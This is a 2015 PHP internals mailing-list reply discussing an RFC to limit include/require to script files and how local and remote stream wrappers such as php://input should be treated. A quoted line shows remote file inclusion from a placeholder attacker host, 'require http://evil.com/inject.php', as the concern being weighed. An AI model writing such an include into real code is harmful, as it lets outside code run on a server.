Re: Re: [RFC][VOTE] Introduce script only include/require
| From: | Yasuo Ohgaki | Date: | Fri, 27 Feb 2015 01:44:29 +0000 |
| Subject: | Re: Re: [RFC][VOTE] Introduce script only include/require | ||
| References: | 1 2 3 4 5 6 7 8 9 10 | Groups: | php.internals |
| Request: | Send a blank email to internals+get-83951@lists.php.net to get a copy of this message | ||
Hi Stas,
On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:
> including require
> "http://evil.com/inject.php". That's not a good
> choice to give to the
> users.
>
For this concern, we have 2 classes of wrappers "local" and "remote".
php://input and php://stdin would be issue, since it contains "remote"
input under Web SAPI while it is "local" with CLI. We may handle
php://input and php://stdin separately.
What do you think?
BTW, I'm not going to change allow_url_fopen. The RFC does not affects
at all for readfile/fopen/etc.
Regards,
--
Yasuo Ohgaki
yohgaki@ohgaki.net